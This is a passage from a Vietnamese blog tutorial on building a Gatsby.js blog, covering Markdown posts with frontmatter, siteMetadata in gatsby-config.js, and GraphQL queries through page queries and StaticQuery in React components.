height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thêm bài viết vào blog</h3> <p>Trước khi đến các phần tiếp phía dưới, mình sẽ thêm 3 bài viết minh hoạ vào blog. Nội dung mình sẽ tham khải tại <a href="https://github.com/gatsbyjs/gatsby-starter-blog">đây</a>.</p> <p>Đầu tiên, mình sẽ tạo mới một thư mục <em>/posts</em> bên trong thư mục <em>/src</em>. Thư mục này sẽ được sử dụng để lưu trữ nội dung các bài viết.</p> <p>Tiếp theo, mình tải starter kia trên Github về, rồi vào thư mục <em>\gatsby-starter-blog-master\src\pages</em>, copy-paste 3 thư mục (<em>hello-world</em>, <em>hi-folks</em>, <em>my-second-post</em>) vào thư mục <em>/posts</em> mới tạo. Rồi sau đó, mình sẽ đổi tên 3 thư mục này thành: <em>2015-05-01---hello-world</em>, <em>2015-05-28---hi-folks</em>, <em>2015-05-06---my-second-post</em>. Mục đích của mình khi đổi tên như vậy là để dễ dàng theo dõi thứ tự bài viết theo trình tự thời gian.</p> <p>Nếu xem qua các thư mục mình vừa copy-paste xong thì bạn sẽ thấy mỗi thư mục tương ứng với một bài viết. Tên thư mục sẽ sử dụng làm <strong>slug</strong> cho bài viết đó. Bên trong thư mục có một file <code>index.md</code> chứa nội dung bài viết và có thể có <strong>ảnh</strong> (tuỳ thuộc nội dung từng bài).</p> <p>Còn nội dung từng bài viết thì sao?</p> <p>Ví dụ bài <em>/src/posts/2015-05-01---hello-world</em>:</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/posts/2015-05-01---hello-world</div> <div class="gatsby-highlight" data-language="md"><pre class="language-md"><code class="language-md"><span class="token front-matter-block"><span class="token punctuation">---</span> <span class="token front-matter yaml language-yaml">title: Hello World date: "2015-05-01T22:12:03.284Z"</span> <span class="token punctuation">---</span></span> This is my first post on my new fake blog! How exciting! I'm sure I'll write a lot more interesting things in the future. Oh, and here's a great quote from this Wikipedia on <span class="token url">[<span class="token content">salted duck eggs</span>](<span class="token url">https://en.wikipedia.org/wiki/Salted_duck_egg</span>)</span>. <span class="token blockquote punctuation">></span> A salted duck egg is a Chinese preserved food product made by soaking duck <span class="token blockquote punctuation">></span> eggs in brine, or packing each egg in damp, salted charcoal. In Asian <span class="token blockquote punctuation">></span> supermarkets, these eggs are sometimes sold covered in a thick layer of salted <span class="token blockquote punctuation">></span> charcoal paste. The eggs may also be sold with the salted paste removed, <span class="token blockquote punctuation">></span> wrapped in plastic, and vacuum packed. From the salt curing process, the <span class="token blockquote punctuation">></span> salted duck eggs have a briny aroma, a gelatin-like egg white and a <span class="token blockquote punctuation">></span> firm-textured, round yolk that is bright orange-red in color. <span class="token url"><span class="token operator">!</span>[<span class="token content">Chinese Salty Egg</span>](<span class="token url">./salty_egg.jpg</span>)</span></code></pre></div> <h4 id="cấu-trúc-bài-viết-trong-file-markdown" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-b%C3%A0i-vi%E1%BA%BFt-trong-file-markdown" aria-label="cấu trúc bài viết trong file markdown permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc bài viết trong file Markdown</h4> <p>Mỗi bài viết trong blog với Gatsby.js sẽ có 2 phần.</p> <ul> <li>Phần 1 nằm ở đầu bài viết, bên trong cặp dấu (---), gọi là <em>frontmatter</em>. Phần này chứa thông tin liên quan đến bài viết, như: tiêu đề, thời gian, chuyên mục, thẻ,... Những thông tin này hoàn toàn do mình định nghĩa. Mình cần cái gì thì thêm cái đó.</li> <li>Phần 2 nằm kế tiếp, chứa nội dung của bài viết, được viết bằng cú pháp Markdown.</li> </ul> <p>À mà, bài viết này chưa có thông tin về chuyên mục và thẻ. Mà mình cần 2 thông tin này cho các phần sau nên mình sẽ thêm 2 thông tin này vào mỗi bài viết.</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/posts/2015-05-01---hello-world</div> <div class="gatsby-highlight" data-language="md"><pre class="language-md"><code class="language-md"><span class="token front-matter-block"><span class="token punctuation">---</span> <span class="token front-matter yaml language-yaml">title: Hello World date: "2015-05-01T22:12:03.284Z" categories: ["cat1"] tags: ["greeting", "egg"]</span> <span class="token punctuation">---</span></span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">/src/posts/2015-05-06---my-second-post</div> <div class="gatsby-highlight" data-language="md"><pre class="language-md"><code class="language-md"><span class="token front-matter-block"><span class="token punctuation">---</span> <span class="token front-matter yaml language-yaml">title: My Second Post! date: "2015-05-06T23:46:37.121Z" categories: ["cat2"] tags: ["egg", "wiki"]</span> <span class="token punctuation">---</span></span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">/src/posts/2015-05-28---hi-folks</div> <div class="gatsby-highlight" data-language="md"><pre class="language-md"><code class="language-md"><span class="token front-matter-block"><span class="token punctuation">---</span> <span class="token front-matter yaml language-yaml">title: New Beginnings date: "2015-05-28T22:40:32.169Z" categories: ["cat1"] tags: ["greeting"]</span> <span class="token punctuation">---</span></span></code></pre></div> <p>Vì chuyên mục và thẻ có thể có nhiều nên mình để chúng vào một mảng cho tiện quản lý và sử dụng sau này. Đến đây, coi như mình đã có đầy đủ thông tin cần thiết về các bài viết. Tiếp theo, mình sẽ thiết kế template để hiển thị danh sách bài viết lên trang chủ.</p> <h3 id="tạo-template-hiển-thị-danh-sách-bài-viết-tại-trang-chủ" style="position:relative;"><a href="#t%E1%BA%A1o-template-hi%E1%BB%83n-th%E1%BB%8B-danh-s%C3%A1ch-b%C3%A0i-vi%E1%BA%BFt-t%E1%BA%A1i-trang-ch%E1%BB%A7" aria-label="tạo template hiển thị danh sách bài viết tại trang chủ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo template hiển thị danh sách bài viết tại trang chủ</h3> <p>Như mình đã nói ở trên, file <em>/src/pages/index.js</em> được sử dụng làm trang chủ. Do đó, để hiển thị danh sách bài viết tại trang chủ thì mình phải sửa file này. Nhưng trước tiên mình cần phải tìm hiểu cơ chế lấy dữ liệu của Gatsby.js trước đã. Cụ thể, Gatsby.js sẽ sử dụng GraphQL (Graph Query Language).</p> <p>Hiện tại, mình nghĩ bạn chưa cần tìm hiểu kỹ về GraphQL, vì mình chỉ sử dụng nó một cách cơ bản thôi. Bản thân mình cũng không rành về GraphQL lắm, chỉ đủ dùng thôi. Chỗ nào không biết thì lại Google (dĩ nhiên, nếu bạn master GraphQL rồi thì quá tốt).</p> <h4 id="thử-query-đầu-tiên-với-graphql" style="position:relative;"><a href="#th%E1%BB%AD-query-%C4%91%E1%BA%A7u-ti%C3%AAn-v%E1%BB%9Bi-graphql" aria-label="thử query đầu tiên với graphql permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thử query đầu tiên với GraphQL</h4> <p>Trước tiên, thử một query đơn của GraphQL xem cách sử dụng nó như thế nào nhé! Bây giờ, bạn tạo mới một file <em>gatsby-config.js</em> - ngay tại thư mục gốc, ngang hàng với <em>package.json</em> ấy. Rồi sửa nội dung file đó thành:</p> <div class="gatsby-code-title gatsby-remark-code-title">/gatsby-config.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">module<span class="token punctuation">.</span>exports <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">siteMetadata</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Gatsby Blog Tutorial Demo</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó, mình thêm thuộc tính <em>siteMetadata</em> vào để lưu những thông tin cần thiết của trang blog. Tiếp theo, mình định nghĩa <em>title</em> là tên của blog. Vì hiện tại tên blog đang là <em>Gatsby Blog Demo</em> nên mình sửa nó thành <em>Gatsby Blog Tutorial Demo</em> xem thế nào.</p> <p>Dĩ nhiên, bây giờ trang blog vẫn chưa có gì thay đổi. Để áp dụng <em>title</em> mới này cho toàn bộ trang blog mình sẽ thêm nó vào <em>/src/components/layout.js</em>. Tuy nhiên, Layout không phải là một Page nên sẽ không thể query bình thường được, mà phải dùng <a href="https://www.gatsbyjs.org/docs/static-query/">StaticQuery</a> - đây là API mới có ở Gatsby v2.</p> <h4 id="cách-sử-dụng-query-graphql-thông-thường" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-query-graphql-th%C3%B4ng-th%C6%B0%E1%BB%9Dng" aria-label="cách sử dụng query graphql thông thường permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng query GraphQL thông thường</h4> <p>Nếu không dùng StaticQuery, mình sẽ phải query data trong 3 file <em>/src/pages/index.js</em>, <em>/src/pages/gioi-thieu.js</em>, <em>/src/pages/lien-he.js</em>, tương ứng với 3 trang (sử dụng cách này sẽ dễ tiếp cận hơn nhưng code sẽ bị lặp lại). Mà bạn đừng vội thay đổi code giống 3 đoạn phía dưới nhé, mình chỉ nói nếu dùng cách này thì mới sửa thôi. Nên 3 đoạn sau chỉ dùng để tham khảo.</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/pages/index.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Layout <span class="token keyword">from</span> <span class="token string">"../components/layout"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token punctuation">{</span> graphql <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"gatsby"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> data <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Layout</span></span> <span class="token attr-name">title</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>data<span class="token punctuation">.</span>site<span class="token punctuation">.</span>siteMetadata<span class="token punctuation">.</span>title<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text">Bài viết mới nhất</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">const</span> query <span class="token operator">=</span> graphql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> query { site { siteMetadata { title } } } </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">/src/pages/gioi-thieu.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Layout <span class="token keyword">from</span> <span class="token string">"../components/layout"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token punctuation">{</span> graphql <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"gatsby"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> data <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Layout</span></span> <span class="token attr-name">title</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>data<span class="token punctuation">.</span>site<span class="token punctuation">.</span>siteMetadata<span class="token punctuation">.</span>title<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text">Giới thiệu</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">const</span> query <span class="token operator">=</span> graphql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> query { site { siteMetadata { title } } } </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <div class="gatsby-code-title gatsby-remark-code-title">/src/pages/lien-he.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Layout <span class="token keyword">from</span> <span class="token string">"../components/layout"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token punctuation">{</span> graphql <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"gatsby"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> data <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Layout</span></span> <span class="token attr-name">title</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>data<span class="token punctuation">.</span>site<span class="token punctuation">.</span>siteMetadata<span class="token punctuation">.</span>title<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text">Liên hệ</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">const</span> query <span class="token operator">=</span> graphql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> query { site { siteMetadata { title } } } </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó, mình đã import thêm <em>graphql</em> từ <em>gatsby</em>. Rồi viết câu lệnh query <em>title</em> ở phía dưới cùng. Ngoài ra, trong phần định nghĩa React Component, mình bổ sung thêm thuộc tính <em>data</em>. Thuộc tính này tương ứng với dữ liệu đã query ở phía dưới.</p> <p>Bạn thấy đó, code bị lặp lại ở cả 3 file. Điều này là không nên. Vì vậy, mình sẽ sử dụng StaticQuery.</p> <h4 id="query-graphql-sử-dụng-staticquery" style="position:relative;"><a href="#query-graphql-s%E1%BB%AD-d%E1%BB%A5ng-staticquery" aria-label="query graphql sử dụng staticquery permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Query GraphQL sử dụng StaticQuery</h4> <p>Mình sẽ sửa lại file <em>/src/components/layout.js</em>:</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/layout.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./layout.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Menu <span class="token keyword">from</span> <span class="token string">"./menu"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Sidebar <span class="token keyword">from</span> <span class="token string">"./sidebar"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token punctuation">{</span> StaticQuery<span class="token punctuation">,</span> graphql <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"gatsby"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> <span class="token punctuation">{</span> children <span class="token punctuation">}</span> <span class="token operator">=</span> props<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token operator">&lt;</span>StaticQuery query<span class="token operator">=</span><span class="token punctuation">{</span>graphql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> query { site { siteMetadata { title } } } </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span> render<span class="token operator">=</span><span class="token punctuation">{</span><span class="token punctuation">(</span><span class="token parameter">data</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>app<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Menu</span></span> <span class="token attr-name">title</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>data<span class="token punctuation">.</span>site<span class="token punctuation">.</span>siteMetadata<span class="token punctuation">.</span>title<span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>main<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>content<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token punctuation">{</span>children<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>sidebar<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Sidebar</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">}</span> <span class="token operator">/</span><span class="token operator">></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Tương tự như bên trên, nhưng bây giờ mình viết thẳng query của GraphQL bên trong StaticQuery luôn. Để truy cập đến giá trị <em>title</em> mình sử dụng <em>data.site.siteMetadata.title</em>.</p> <p>Rồi trong đó, mình lại truyền <em>title</em> đến Menu. Và để hiển thị <em>title</em> mới này trong Menu, mình sửa file <em>/src/components/menu.js</em> như sau.</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/components/menu.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token string">"./menu.css"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token punctuation">{</span> Link <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"gatsby"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter">props</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> <span class="token punctuation">{</span> title <span class="token punctuation">}</span> <span class="token operator">=</span> props<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>header</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h3</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>nav-brand<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Link</span></span> <span class="token attr-name">to</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token punctuation">{</span>title<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Link</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h3</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>ul</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>nav-item<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Link</span></span> <span class="token attr-name">to</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/lien-he/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text">Liên hệ</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Link</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>nav-item<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Link</span></span> <span class="token attr-name">to</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/gioi-thieu/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text">Giới thiệu</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Link</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span> <span class="token attr-name">className</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>nav-item<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Link</span></span> <span class="token attr-name">to</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text">Trang chủ</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Link</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>ul</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>header</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Để xem kết quả như nào, lần này bạn phải <strong>Restart</strong> lại server. Nhớ là mỗi khi thay đổi file ngoài thư mục <em>/src</em> như 